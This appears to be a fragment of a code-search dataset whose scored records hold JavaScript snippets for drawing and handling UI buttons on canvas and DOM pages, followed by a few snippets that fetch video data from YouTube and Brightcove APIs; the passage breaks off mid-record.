"3bb05e374666f08e0e9c5b3f76914339", "score": "0.5150675", "text": "function InitScreen(evt)\n{\n/*\n\ttextbutton1 = \n\t\tnew button(\n\t\t\t\"Botao1\",\n\t\t\t\"Botao\",\n\t\t\tGotoScreen,\n\t\t\t\"rect\",\n\t\t\t\"Click me\",\n\t\t\tundefined,\n\t\t\t500,\n\t\t\t300,\n\t\t\t100,\n\t\t\t30,\n\t\t\t{\"font-family\":\"Arial,Helvetica\",\"fill\":\"navy\",\"font-size\":12},\n\t\t\t{\"fill\":\"lightsteelblue\"},\n\t\t\t{\"fill\":\"white\"},\n\t\t\t{\"fill\":\"navy\"},\n\t\t\t1);\n*/\n}", "title": "" }, { "docid": "ce5c2eb808000b3074251dce06eef9e5", "score": "0.51486963", "text": "function drawAssociationButton(){\n let button = new Path2D()\n button.rect(434, 10, 50, 40)\n ctx.stroke(button)\n ctx.beginPath()\n ctx.moveTo(445, 20)\n ctx.lineTo(470, 40)\n ctx.stroke()\n ctx.beginPath()\n ctx.moveTo(457, 42)\n ctx.lineTo(475, 45)\n ctx.lineTo(469, 27)\n ctx.stroke()\n canvas.addEventListener('mousemove', function(e) {\n if (ctx.isPointInPath(button, e.clientX, e.clientY)){\n ctx.font = \"lighter 15px Arial\"\n ctx.fillText(\"Association\", 425, 70)\n }\n else {\n }\n })\n canvas.addEventListener('click', function (e) {\n if (ctx.isPointInPath(button, e.clientX, e.clientY)){\n noteStatus = false\n selectStatus = false\n classStatus = false\n interfaceStatus = false\n packageStatus = false\n deleteStatus = false\n dependencyStatus = false\n inheritanceStatus = false\n interfaceTIStatus = false\n associationStatus = true\n aggregationStatus = false\n compositionStatus = false\n }\n })\n}", "title": "" }, { "docid": "da803a452ee82438aae0fb462a0e4dcf", "score": "0.51484376", "text": "function Button(Parent,img,Xdraw,Ydraw,Width, Height, NextString, Name){\n\tthis.name = Name;\n\tvar that = this;\n\tthis.xdraw = Xdraw;\n\tthis.ydraw = Ydraw;\n\tthis.w = Width;\n\tthis.h = Height;\n\tthis.parent = Parent;\n\tthis.ctx = this.parent.context;\n\tthis.canvas = this.parent.context;\n\tthis.nextString = NextString;\n\t\n\tthis.clicked = function(x,y){\n\t\treturn (x>=that.xdraw && x<(that.xdraw+that.w) && y>that.ydraw && y<(that.ydraw+that.h));\n\t}\n\t\n\tthis.draw = function(){\n\t\tthat.ctx.drawImage(img,Xdraw,Ydraw, that.w, that.h);\n\t}\n}", "title": "" }, { "docid": "21159d28ca07ee712536c78387e855dd", "score": "0.5139291", "text": "function drawButtons()\n\t{\n\t\tvar vmargin = that.buttonVMargin || style.buttonVMargin;\n\t\tvar topWid = getBottomWid();\n\t\tvar top = topWid + ' bottom ' + vmargin;\n\t\tvar wid;\n\n\t\tthat.buttons && $.each(that.buttons, function(idx, val) {\n\n\t\t\twid = that.add('button', {\n\t\t\t\timage: val.image,\n\t\t\t\tframe: val.frame,\n\t\t\t\tclick: val.type === \"OK\" ? performAction : val.click,\t// \"OK\" buttons perform validation first\n\t\t\t\tindex: idx,\n\t\t\t\tdepth: depth\n\t\t\t},{\n\t\t\t\ttop: top,\n\t\t\t\tright: idx === 0 ? (that.id + ' right -' + style.titleHMargin) : (wid.id + ' left -' + style.buttonGap)\n\t\t\t});\n\n\t\t\tbuttons.push(wid);\n\t\t});\n\t}", "title": "" }, { "docid": "d43e058e681258c2962afb48caf06590", "score": "0.5137402", "text": "draw() {\n this.ctx.fillStyle = this.__value === 1 ? this.fill : this.background\n this.ctx.strokeStyle = this.stroke\n this.ctx.lineWidth = this.lineWidth\n\n let buttonWidth = this.rect.width / this.columns, \n buttonHeight = this.rect.height / this.rows\n\n for( let row = 0; row < this.rows; row++ ) {\n let y = row * buttonHeight\n for( let column = 0; column < this.columns; column++ ) {\n let x = column * buttonWidth,\n buttonNum = row * this.columns + column\n\n this.ctx.fillStyle = this.__value[ buttonNum ] === 1 ? this.fill : this.background\n this.ctx.fillRect( x,y, buttonWidth, buttonHeight )\n this.ctx.strokeRect( x,y, buttonWidth, buttonHeight )\n }\n }\n }", "title": "" }, { "docid": "bbdbc7e2712887796a171f9d99d8343c", "score": "0.51343715", "text": "function createArrowButton(x, name, direction) {\n let scaling = 0.5;\n let normal = new createjs.Bitmap(queue.getResult(\"orangeBtn\")).set({\n scaleX: scaling, scaleY: scaling\n });\n let imgHeight = normal.image.height * scaling;\n let hover = new createjs.Bitmap(queue.getResult(\"yellowBtn\")).set({\n scaleX: scaling, scaleY: scaling\n });\n if (\"right\" === direction) {\n normal.rotation = 180;\n normal.y += imgHeight;\n hover.rotation = 180;\n hover.y += imgHeight;\n }\n let button = new createjs.Container().set({\n x: x,\n y: CANVAS_HEIGHT - imgHeight - 10,\n name: name\n });\n button.addChild(normal);\n button.cursor = 'pointer';\n button.mouseChildren = false;\n button.mouseEnabled = true;\n\n button.on('mouseover', e => {\n button.removeAllChildren();\n button.addChild(hover);\n });\n button.on('mouseout', e => {\n button.removeAllChildren();\n button.addChild(normal);\n });\n button.disable = () => {\n button.alpha = 0.5;\n button.mouseEnabled = false;\n };\n button.enable = () => {\n button.alpha = 1.0;\n button.mouseEnabled = true;\n }\n return button;\n}", "title": "" }, { "docid": "ebb5d71cb8d0aee7471f76960deddfb0", "score": "0.51213974", "text": "function main() {\n // Bitmap Button\n button = new createjs.Bitmap(\"assets/images/blueButton.png\");\n stage.addChild(button);\n button.x = stage.canvas.width * 0.5;\n button.y = stage.canvas.height * 0.5;\n button.regX = 110;\n button.regY = 110;\n\n button.addEventListener(\"click\", buttonClicked);\n button.addEventListener(\"mouseover\", buttonOver);\n button.addEventListener(\"mouseout\", buttonOut);\n\n // Label\n helloText = new createjs.Text(\"Hello World!\", \"40px Consolas\", \"#000000\");\n stage.addChild(helloText);\n helloText.x = stage.canvas.width * 0.5;\n helloText.y = stage.canvas.height * 0.5;\n helloText.regX = helloText.getBounds().width * 0.5;\n helloText.regY = helloText.getBounds().height * 0.5;\n}", "title": "" }, { "docid": "99327e463d24d1a5c0722982f9fcc84e", "score": "0.5119499", "text": "function construct_css_buttons() {\n this.displayPoints = function (a) {\n if (a === false) {\n $(\"#displayPoints\").html(\"Show<br>Points<br>\");\n $(\"#displayPoints\").css(\"color\", \"black\");\n $(\"#displayPoints\").css(\"background-color\", \"RGB(255,255,255)\");\n } else {\n $(\"#displayPoints\").html(\"Hide<br>Points<br>\");\n $(\"#displayPoints\").css(\"color\", \"white\");\n $(\"#displayPoints\").css(\"background-color\", \"RGB(40,40,40)\");\n }\n }\n this.displayColor = function (a) {\n if (a === false) {\n $(\"#displayColor\").html(\"Show<br>Colors<br>\");\n $(\"#displayColor\").css(\"color\", \"black\");\n $(\"#displayColor\").css(\"background-color\", \"RGB(255,255,255)\");\n\n } else {\n $(\"#displayColor\").html(\"Hide<br>Colors<br>\");\n $(\"#displayColor\").css(\"color\", \"white\");\n $(\"#displayColor\").css(\"background-color\", \"RGB(40,40,40)\");\n }\n }\n this.displayTriangulation = function (a) {\n if (a === true) {\n $(\"#displayTriangulation\").html(\"Hide<br>Triangles<br>\");\n $(\"#displayTriangulation\").css(\"color\", \"white\");\n $(\"#displayTriangulation\").css(\"background-color\", \"RGB(40,40,40)\");\n } else {\n $(\"#displayTriangulation\").html(\"Show<br>Triangles<br>\");\n $(\"#displayTriangulation\").css(\"color\", \"black\");\n $(\"#displayTriangulation\").css(\"background-color\", \"RGB(255,255,255)\");\n }\n }\n this.displayImage = function (a) {\n if (a === true) {\n $(\"#displayImage\").html(\"Hide<br>Image<br>\");\n $(\"#displayImage\").css(\"color\", \"white\");\n $(\"#displayImage\").css(\"background-color\", \"RGB(40,40,40)\");\n } else {\n $(\"#displayImage\").html(\"Show<br>Image<br>\");\n $(\"#displayImage\").css(\"color\", \"black\");\n $(\"#displayImage\").css(\"background-color\", \"RGB(255,255,255)\");\n }\n }\n\n}", "title": "" }, { "docid": "4dceacc4bf0e7d2619bd6a9b7cdf6627", "score": "0.5118915", "text": "function DrawCloudObsButtons() {\n CloudTopBtn = document.createElement(\"BUTTON\");\n CloudTopBtn.innerHTML = \"Cloud Top\";\n CloudTopBtn.onclick = function() { \n CloudTopBtn.blur();\n cloudObsType = \"Cloud/EHEA11\";\n VisibleLightBtn.style.backgroundColor = \"\";\n IRBtn.style.backgroundColor = \"\";\n CloudTopBtn.style.backgroundColor = \"#63D13E\"; // Changes the button background colour to indicate it's been clicked\n setCloudObsImg(\"Cloud/EHEA11\");\n //drawCloudTopColourBar(); // Uncomment this to manually add the Cloud Top colour bar to the Cloud tab webpage\n }\n \n VisibleLightBtn = document.createElement(\"BUTTON\");\n VisibleLightBtn.innerHTML = \"Visible Light\";\n VisibleLightBtn.onclick = function() { \n VisibleLightBtn.blur();\n cloudObsType = \"Vis/EVEB71\";\n CloudTopBtn.style.backgroundColor = \"\";\n IRBtn.style.backgroundColor = \"\";\n VisibleLightBtn.style.backgroundColor = \"#63D13E\"; // Changes the button background colour to indicate it's been clicked\n setCloudObsImg(\"Vis/EVEB71\");\n //removeCloudTopColourBar(); // Uncomment this if manually adding the Cloud Top colour bar; this will remove it when you switch tabs\n }\n \n IRBtn = document.createElement(\"BUTTON\");\n IRBtn.innerHTML = \"IR\"; \n IRBtn.onclick = function() { \n IRBtn.blur();\n cloudObsType = \"IR/EIEA51\";\n VisibleLightBtn.style.backgroundColor = \"\";\n CloudTopBtn.style.backgroundColor = \"\";\n IRBtn.style.backgroundColor = \"#63D13E\"; // Changes the button background colour to indicate it's been clicked\n setCloudObsImg(\"IR/EIEA51\");\n //removeCloudTopColourBar(); // Uncomment this if manually adding the Cloud Top colour bar; this will remove it when you switch tabs\n }\n \n CloudObsBtnDiv = document.createElement(\"DIV\");\n CloudObsBtnDiv.id = \"CloudObsBtns\";\n \n CloudObsBtnDiv.appendChild(CloudTopBtn);\n CloudObsBtnDiv.appendChild(VisibleLightBtn);\n CloudObsBtnDiv.appendChild(IRBtn);\n insertAfter(document.getElementById(\"cloudObsImg\"), CloudObsBtnDiv);\n \n // Cloud Top is selected by default\n CloudTopBtn.style.backgroundColor = \"#63D13E\";\n VisibleLightBtn.style.backgroundColor = \"\";\n IRBtn.style.backgroundColor = \"\";\n setCloudObsImg(\"Cloud/EHEA11\");\n //drawCloudTopColourBar(); // Uncomment this to manually add the Cloud Top colour bar to the Cloud tab webpage\n}", "title": "" }, { "docid": "c747ff1262dfc716b6cc8b580bc112c5", "score": "0.51117444", "text": "function titlePanel() {\n background(79, 118, 74);\n //Start button instruction;\n imageMode(CENTER);\n tint(255, 157);\n image(spaceButton, width / 2, height * 0.8, 110, 35);\n //text divider\n textAlign(CENTER);\n textFont('Lato');\n textSize(32);\n text('-----------------------', width / 2, height * 0.5);\n textFont(mainFont);\n //left and right borders\n fill(56, 75, 71)\n rectMode(CORNERS);\n rect(0, 0, 100, height);\n rect(width, 0, width - 100, height);\n rectMode(CORNER);\n //small blocks illustration\n fill(223, 52, 65);\n //fill(119,81,78);\n rect(150, height * 0.5 - 90, 10, 50);\n rect(150, height * 0.5 - 25, 10, 50);\n rect(150, height * 0.5 + 40, 10, 50);\n rect(185, height * 0.5 - 57.5, 10, 50);\n rect(185, height * 0.5 + 7.5, 10, 50);\n rect(220, height * 0.5 - 25, 10, 50);\n rect(width - 150, height * 0.5 - 90, 10, 50);\n rect(width - 150, height * 0.5 - 25, 10, 50);\n rect(width - 150, height * 0.5 + 40, 10, 50);\n rect(width - 185, height * 0.5 - 57.5, 10, 50);\n rect(width - 185, height * 0.5 + 7.5, 10, 50);\n rect(width - 220, height * 0.5 - 25, 10, 50);\n //stop BG song from playing\n bgSong.pause();\n //text content\n fill(242);\n textSize(54);\n text('BREAKOUT PONG', width / 2, height * 0.3);\n textSize(32);\n text('CHRISTMAS INVASION', width / 2, height * 0.4);\n fill(242);\n textSize(20);\n text('Hit balls and break blocks until you win !!', width / 2, height * 0.6);\n textSize(16);\n text('Best played with a fellow player and mistletoe', width / 2, height * 0.65);\n noLoop();\n}", "title": "" }, { "docid": "735f31d778ff0401634d06505dff5b58", "score": "0.5109601", "text": "function addButton(ico, txt, func = closeApp, style = 'slider-button') {\n var button = document.createElement('div');\n var div_ico = document.createElement('div');\n var div_txt = document.createElement('div');\n var icon = document.createElement('i');\n icon.classList.add(ico);\n var content = document.createTextNode(txt);\n div_ico.appendChild(icon);\n div_txt.appendChild(content);\n button.appendChild(div_ico);\n button.appendChild(div_txt);\n button.classList.add(style);\n button.addEventListener('click', func);\n return button;\n}", "title": "" }, { "docid": "4080f6f638227dc3e6424d8b13552daa", "score": "0.5107524", "text": "label({\n label_action,\n label_description,\n label_image,\n }) {\n this.tint = 0xd3d3d3;\n this.button = new Button(this, {\n label_action,\n label_description,\n label_image,\n });\n }", "title": "" }, { "docid": "55db9636697cedc4e262bf1d9bb20016", "score": "0.510411", "text": "function newButton(label, action, opt = {}) {\n let b = DOC.createElement('button');\n\n b.onclick = function() {\n hidePoppers();\n if (action) action(...arguments);\n };\n\n if (opt.class) {\n opt.class.split(' ').forEach(ce => {\n b.classList.add(ce);\n });\n }\n if (opt.icon) {\n let d = DOC.createElement('div');\n d.innerHTML = opt.icon;\n b.appendChild(d);\n }\n if (opt.title) {\n b.setAttribute('title', opt.title);\n }\n if (label) {\n b.appendChild(DOC.createTextNode(label));\n }\n\n addModeControls(b, opt);\n addId(b, opt);\n\n return b;\n }", "title": "" }, { "docid": "598e5b870f92e8eb66c308d23c39d141", "score": "0.5098562", "text": "function drawDeleteButton(){\n let button = new Path2D()\n button.rect(593, 10, 50, 40)\n ctx.stroke(button)\n ctx.beginPath()\n ctx.strokeStyle = \"red\"\n ctx.moveTo(603, 20)\n ctx.lineTo(633, 40)\n ctx.stroke()\n ctx.beginPath()\n ctx.moveTo(633, 20)\n ctx.lineTo(603, 40)\n ctx.stroke()\n ctx.strokeStyle = \"black\"\n canvas.addEventListener('mousemove', function(e) {\n if (ctx.isPointInPath(button, e.clientX, e.clientY)){\n ctx.font = \"lighter 15px Arial\"\n ctx.fillText(\"Delete\", 595, 70)\n }\n else {\n }\n })\n canvas.addEventListener('click', function (e) {\n if (ctx.isPointInPath(button, e.clientX, e.clientY)) {\n selectStatus = false\n deleteStatus = true\n classStatus = false\n packageStatus = false\n interfaceStatus = false\n noteStatus = false\n dependencyStatus = false\n inheritanceStatus = false\n interfaceTIStatus = false\n associationStatus = false\n aggregationStatus = false\n compositionStatus = false\n }\n })\n}", "title": "" }, { "docid": "e72396e3c20986f83dc35370f2c73c93", "score": "0.50976056", "text": "function SimpleRoundedButton(text) {\n\n var $simpleRoundedButton = $('<div>', {\n 'class': 'joubel-simple-rounded-button',\n 'title': text,\n 'role': 'button',\n 'tabindex': '0'\n }).keydown(function (e) {\n // 32 - space, 13 - enter\n if ([32, 13].indexOf(e.which) !== -1) {\n $(this).click();\n e.preventDefault();\n }\n });\n\n $('<span>', {\n 'class': 'joubel-simple-rounded-button-text',\n 'html': text\n }).appendTo($simpleRoundedButton);\n\n return $simpleRoundedButton;\n }", "title": "" }, { "docid": "e72396e3c20986f83dc35370f2c73c93", "score": "0.50976056", "text": "function SimpleRoundedButton(text) {\n\n var $simpleRoundedButton = $('<div>', {\n 'class': 'joubel-simple-rounded-button',\n 'title': text,\n 'role': 'button',\n 'tabindex': '0'\n }).keydown(function (e) {\n // 32 - space, 13 - enter\n if ([32, 13].indexOf(e.which) !== -1) {\n $(this).click();\n e.preventDefault();\n }\n });\n\n $('<span>', {\n 'class': 'joubel-simple-rounded-button-text',\n 'html': text\n }).appendTo($simpleRoundedButton);\n\n return $simpleRoundedButton;\n }", "title": "" }, { "docid": "0eb9258702ace203e13cd514617008da", "score": "0.5095107", "text": "function startButton() {\n rectProperties = {\n x: width / 2,\n y: height / 2 + 150,\n w: 150,\n h: 80,\n fillColor: color(35, 145, 200)\n }\n push();\n noStroke();\n rectMode(CENTER);\n fill(rectProperties.fillColor);\n rect(rectProperties.x, rectProperties.y, rectProperties.w, rectProperties.h);\n fill(255);\n textSize(30);\n textAlign(CENTER);\n text(\"START\", rectProperties.x, rectProperties.y + 10);\n pop();\n}", "title": "" }, { "docid": "f3eb788bb06a7c881b63ad021fc93ddc", "score": "0.50908893", "text": "function _button(x, y, val)\n{\n\tvar args = arrayfromargs(arguments);\n\tbutton_in(x, y, val);\n}", "title": "" }, { "docid": "4acc4a9d82844dcad163f5a19f016131", "score": "0.5086195", "text": "function Button(name, xPos, yPos, w, h){\r\n this.name = name;\r\n this.x = xPos;\r\n this.y = yPos;\r\n this.h = h;\r\n this.w = w + 10;\r\n this.padding = 10;\r\n this.clicked = false;\r\n \r\n this.backCol = color(255);\r\n this.textCol = color(50);\r\n \r\n // Draw method\r\n this.draw = function(){\r\n fill(this.backCol);\r\n rect(this.x, this.y, this.w, this.h, 5);\r\n \r\n fill(this.textCol);\r\n text(this.name, this.x+this.padding, this.y + this.h/2);\r\n }\r\n \r\n // Hover method\r\n this.hover = function(){\r\n if(mouseX > this.x && mouseX < this.x + this.w && mouseY > this.y && mouseY < this.y + this.h){\r\n this.backCol = color(200);\r\n this.textCol = color(50);\r\n }\r\n else\r\n {\r\n this.backCol = color(255);\r\n this.textCol = color(50);\r\n }\r\n }\r\n \r\n // MouseClicked method\r\n this.mouseClicked = function(){\r\n if(mouseX > this.x && mouseX < this.x + this.w && mouseY > this.y && mouseY < this.y + this.h){\r\n // working on this - update prices when button is clicked\r\n console.log(\"Button clicked: \" + this.name);\r\n \r\n // Load the data from the nomics.json file\r\n /*loadJSON(\"./node_js/data/nomics.json\", function(data){\r\n nomicsDataFile = data;\r\n console.log(\"data loaded.\");\r\n console.log(nomicsDataFile);\r\n });*/\r\n \r\n this.clicked = true;\r\n }\r\n }\r\n \r\n}", "title": "" }, { "docid": "6dc0b8fbf505c323f4949096d3e74b59", "score": "0.5085889", "text": "function InfoBox(x,y,w,h,header,lines,buttons = []){\r\n\tthis.x = x;\r\n\tthis.y = y;\r\n\tthis.w = w;\r\n\tthis.h = h;\r\n\t\r\n\tthis.header = header;\r\n\t\r\n\tthis.lines = lines;\r\n\tthis.buttons = buttons;\r\n\t\r\n\tthis.minimized = false;\r\n\tthis.shown = true;\r\n\t\r\n\tthis.buttons = buttons;\r\n\t\r\n\tthis.draw = function(){\r\n\t\tif (this.shown){\r\n\t\t\tif (this.minimized){\r\n\t\t\t\t//Draw maximize button only\r\n\t\t\t\tdrawRect(this.x,this.y,20,20,\"green\",\"black\",true);\r\n\t\t\t\tdrawText(\"+\",this.x + 10,this.y + 8, \"20px Verdana\",\"center\",\"middle\",\"white\");\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\t//Draw box, then contents\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t//Draw box\r\n\t\t\t\tdrawRect(this.x,this.y,this.w,this.h,\"silver\",\"black\",true);\r\n\t\t\t\t\r\n\t\t\t\t//Draw minimize button\r\n\t\t\t\tdrawRect(this.x,this.y,20,20,\"red\",\"black\",true);\r\n\t\t\t\tdrawText(\"-\", this.x + 10, this.y + 8, \"30px Verdana\", \"center\", \"middle\", \"white\");\r\n\t\t\t\t\r\n\t\t\t\t//Draw text and buttons\r\n\t\t\t\tfor (let i = 0; i < this.lines.length; i++){\r\n\t\t\t\t\t\r\n\t\t\t\t\tlet contents = this.lines[i];\r\n\t\t\t\t\tlet x = this.x + 10;\r\n\t\t\t\t\tlet y = this.y + (i + 1) * 20 + 10;\r\n\t\t\t\t\t\r\n\t\t\t\t\tif (typeof(contents) === \"string\"){\r\n\t\t\t\t\t\tdrawText(contents,x,y,\"15px Verdana\", \"start\", \"hanging\", \"black\");\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t//Draw the header\r\n\t\t\t\tdrawRect(this.x + 20,this.y,this.w - 20,20,\"gray\",\"black\",true);\r\n\t\t\t\tdrawText(this.header, this.x + (this.w - 20) / 2 + 20, this.y + 10, \"15px Verdana\", \"center\",\"middle\",\"white\");\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\tfor (let button of this.buttons){\r\n\t\t\t\t\tbutton.draw(this.x,this.y);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\tthis.toggleSize = function(){\r\n\t\tthis.minimized = !this.minimized;\r\n\t}\r\n\tthis.uncheckBoxes = function(){\r\n\t\tfor (let button of this.buttons){\r\n\t\t\tif (button.type === \"check\"){\r\n\t\t\t\tbutton.checked = false;\r\n\t\t\t\tbutton.undo();\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "615753203cb0393274a4704aeac3d6e6", "score": "0.5082214", "text": "function drawButton(x,y, rotation) {\n var bwidth = 50;\n var bheight = 100;\n // var buttonStroke = \"#1B436C\";\n var buttonStroke = \"#001067\";\n // var buttonFill = \"#0010a7\";\n var buttonFill = fillStyle = \"#1B43AC\";\n var blineWidth = 4;\n\n ctx.save();\n ctx.translate(x,y);\n ctx.rotate(rotation);\n\n var fontStyle = \"40px Arial\";\n var fontFill = \"lightblue\";\n\n ctx.fillStyle = buttonFill;\n ctx.lineWidth = blineWidth;\n ctx.strokeStyle = buttonStroke;\n drawRoundedRectangle(ctx, -bwidth/2, -bheight/2,\n bwidth, bheight, 10);\n ctx.fillStyle = fontFill;\n ctx.font = fontStyle;\n ctx.fillText(\"►\", 5 - bwidth/2, 65 - bheight/2);\n\n ctx.restore();\n}", "title": "" }, { "docid": "ac8381327c54e7bdeb02f7fc66f031b8", "score": "0.5077737", "text": "function createBtnYahoo( type, url, title ){\n\t\t\t\t\tvar href = '';\n\t\t\t\t\t\thref += ( type == 'type_a' || type == 'type_b' ) ? \"javascript:void window.open('http://bookmarks.yahoo.co.jp/bookmarklet/showpopup?t=\" : \"javascript:location.href='http://bookmarks.yahoo.co.jp/action/bookmark?t=\";\n\t\t\t\t\t\thref += title + '&amp;u=' + url;\n\t\t\t\t\t\thref += ( type == 'type_a' || type == 'type_b' ) ? \"&amp;ei=UTF-8','_blank','width=550,height=480,left=100,top=50,scrollbars=1,resizable=1',0);\" : \"';\";\n\t\t\t\t\t\n\t\t\t\t\tvar tpl = '';\n\t\t\t\t\t\ttpl += '<a href=\"' + href + '\"></a>';\n\t\t\t\t\t\t\n\t\t\t\t\t\t$($self).append('<span class=\"btn-yahoo\" />');\n\t\t\t\t\t\t\n\t\t\t\t\tvar obj_span = $('span.btn-yahoo', $self)\n\t\t\t\t\t\tobj_span.attr({ style: span_style })\n\t\t\t\t\t\t\t\t.append( tpl )\n\t\t\t\t\t\t\t\t.children('a').append('<img />');\n\t\t\t\t\t\n\t\t\t\t\tvar icon_type = '';\n\t\t\t\t\t\ticon_type = ( type == 'type_a' || type == 'type_c' ) ? 'icon_l' : 'icon_s' ;\n\t\t\t\t\t\t\n\t\t\t\t\tvar obj_img = $('span.btn-yahoo > a > img', $self);\n\t\t\t\t\t\tobj_img.attr({\n\t\t\t\t\t\t\tsrc:\t'http://i.yimg.jp/images/' + yahoo[ icon_type ].src,\n\t\t\t\t\t\t\talt:\t'Yahoo!ブックマークに登録',\n\t\t\t\t\t\t\twidth:\tyahoo[ icon_type ].img_w,\n\t\t\t\t\t\t\theight:\tyahoo[ icon_type ].img_h,\n\t\t\t\t\t\t\tstyle:\t'border:none;'\n\t\t\t\t\t\t});\n\t\t\t\t}", "title": "" }, { "docid": "f4d1c131af274b6c907eab0141f66b64", "score": "0.50694466", "text": "function gridClicked(elem){\n var whatsId = elem.id.split('_')\n switch(Board.block){\n case 0:\n //elem.style.backgroundImage = \"url('img/start.png')\";\n elem.innerHTML = \"Start\"\n Board.grid[whatsId[1]][whatsId[2]] = { \"type\": \"start\" };\n break;\n case 2:\n //elem.style.backgroundImage = \"url('img/connector.png')\";\n elem.innerHTML = \"Conn\"\n Board.grid[whatsId[1]][whatsId[2]] = { \"type\": \"connector\" };\n break;\n case 3:\n //elem.style.backgroundImage = \"url('img/endbottom.png')\";\n elem.innerHTML = \"End ▼\"\n Board.grid[whatsId[1]][whatsId[2]] = { \"type\": \"endbottom\" };\n break;\n case 4:\n //elem.style.backgroundImage = \"url('img/endtop.png')\";\n elem.innerHTML = \"End ▲\"\n Board.grid[whatsId[1]][whatsId[2]] = { \"type\": \"endtop\" };\n break;\n case 5:\n //elem.style.backgroundImage = \"url('img/endleft.png')\";\n elem.innerHTML = \"End ◀\"\n Board.grid[whatsId[1]][whatsId[2]] = { \"type\": \"endleft\" };\n break;\n case 6:\n //elem.style.backgroundImage = \"url('img/endright.png')\";\n elem.innerHTML = \"End ▶\"\n Board.grid[whatsId[1]][whatsId[2]] = { \"type\": \"endleft\" };\n break;\n case 7:\n //elem.style.backgroundImage = \"url('img/noend.png')\";\n elem.innerHTML = \"⛌\"\n Board.grid[whatsId[1]][whatsId[2]] = { \"type\": \"noend\" };\n break;\n case 8:\n //elem.style.backgroundImage = \"\";\n elem.innerHTML = \"\";\n Board.grid[whatsId[1]][whatsId[2]] = { \"type\": \"none\" };\n break;\n }\n}", "title": "" }, { "docid": "e5c8854b5dfabdcfca1d1644cab371d6", "score": "0.5068992", "text": "function drawHTPScreen(ctx, btnGBY) {\n\n ctx.font=\"20px Arial\";\n\n ctx.fillText(\"The main objective of the game is to kill the opponent\",60,100);\n ctx.fillText(\"If sigle player mode is selected player 1 has to fight 3\",60,150);\n ctx.fillText(\"rounds of enemy AI tanks. Round 1 has 1 enemy tank, round 2 \",30,180);\n ctx.fillText(\"has 2 enemy tanks and round 3 has 3 enemy tanks.\",70,210);\n ctx.fillText(\"If two player mode is selecter, the objective is to kill\",60,270);\n ctx.fillText(\"the other player.To make it more fun, we added a \", 70, 300);\n ctx.fillText(\"single enemy AI tank to have it more difficult.\", 75, 330);\n ctx.fillText(\"Player 1 uses Arrow keys to move and spacebar to shoot.\",60,390);\n ctx.fillText(\"Player 2 uses WDSA keys to move and the 1 key to shoot.\",60,420);\n\n drawGBbutton(ctx, btnGBY);\n}", "title": "" }, { "docid": "a5772968a4e174154cd3514d0c612ea6", "score": "0.50645125", "text": "function toolbarButton(id, image, caption, onclick) \n{\n var button = $('<div />', {\n id: id,\n 'class': 'toolbar-button'\n });\n if (image) {\n button.append('<img src=\"'+image+'\" /><br />');\n }\n button.append('<span class=\"caption\">'+caption+'</span>');\n if (onclick) {\n button.click(onclick);\n }\n return button;\n}", "title": "" } ]
f395f70e72ede5201b573d4cc77d94a8
Get the video fom API
[ { "docid": "377377e5a1418f45ceebd64652e307ad", "score": "0.0", "text": "function getVideo() {\n $.ajax(\n {\n url: apiUrl, //địa chỉ api\n type: 'GET',\n success: function(data, status) {\n console.log(data);\n var appendHTML = '';\n for (var i=0; i < data.length; i++) {\n\n\n var pattern = /['\"]/;\n nameLink = data[i].name.replace(pattern, '\\\\\\''); /* Repalce the special symbol ' and \" in the name to put in the function play()*/\n appendHTML += '<li class=\"col-lg-3 col-sm-4 col-xs-6\">';\n appendHTML += '<a href=\"#\" title=\\'' + data[i].name + '\\' data-toggle=\"modal\" data-target=\"#myModal\" onclick=\"play(\\'' + data[i].videoId + '\\', \\'' + nameLink + '\\');\">';\n appendHTML += '<img src=\"https://i.ytimg.com/vi/' + data[i].videoId + '/hqdefault.jpg\" alt=\\\"' + data[i].videoId + '\\\" class=\"img-responsive\" height=\"130px\">';\n appendHTML += '<h2>' + data[i].name + '</h2>';\n appendHTML += '<span class=\"glyphicon glyphicon-play-circle\"></span>';\n appendHTML += '</a>';\n appendHTML += '</li>';\n\n\n\n }\n\n document.getElementById(\"alert\").innerHTML = '<div class=\"alert alert-success fade in\"><strong>Thành Công!</strong> Đã load xong Video</div>';\n $('#video').html(appendHTML);\n },\n error: function() {\n\n $(\"#alert\").html('<div class=\"alert alert-danger\"><strong>Thất Bại!</strong> Xảy ra lỗi khi load Video</div>');\n }\n })\n}", "title": "" } ]
[ { "docid": "2e5d7dec87657358fb9747994c709ed1", "score": "0.7349106", "text": "getInitialVideo(id) {\r\n var headers = {\r\n \"Content-Type\": \"application/x-www-form-urlencoded\"\r\n }\r\n var data = `client_id=${extensionField.config.client_id}&client_secret=${extensionField.config.client_secret}&grant_type=client_credentials`;\r\n var url = extensionField.config.oauthUrl\r\n return new Promise((resolve, reject) => {\r\n getData({ url: url, headers: headers, method: 'POST', data: data })\r\n .then(function (data) {\r\n return data;\r\n })\r\n .then(function (data) {\r\n var headers = {\r\n \"Authorization\": `Bearer ${data.access_token}`\r\n }\r\n var url = `${extensionField.config.brightcoveUrl}/${id}`;\r\n getData({ url: url, headers: headers, method: 'GET' })\r\n .then(function (data) {\r\n resolve(data);\r\n\r\n }).catch(function (error) {\r\n loader.hide();\r\n msg.show();\r\n })\r\n })\r\n .catch((err) => {\r\n reject(err);\r\n });\r\n });\r\n }", "title": "" }, { "docid": "a60294c317cd65d677cadb04cf2b609e", "score": "0.6793857", "text": "function getVideo(callback, req, res) {\n var service = google.youtube('v3');\n video = req.query.search;\n update_widget(req.query.id_bdd, video);\n service.videos.list({\n key: key.youtube.token,\n part: 'snippet,contentDetails,statistics,status',\n id: video,\n }, function (err, response) {\n if (err) {\n console.log('The API returned an error:widget ' + err);\n return;\n }\n var channels = response.data.items;\n if (channels.length == 0) {\n console.log('No channel found.');\n } else {\n callback(channels[0], req, res)\n }\n });\n}", "title": "" }, { "docid": "936a829165b0f02b4f5f4f0cfc6a1cf8", "score": "0.6753498", "text": "function getVideoUrl() {\n var videoUrl = ytswf.getVideoUrl();\n updateHTML('videoUrl', videoUrl);\n }", "title": "" }, { "docid": "34bfa1b5c655d760d6a7b5638d6254de", "score": "0.6703569", "text": "async function fetchVideo() 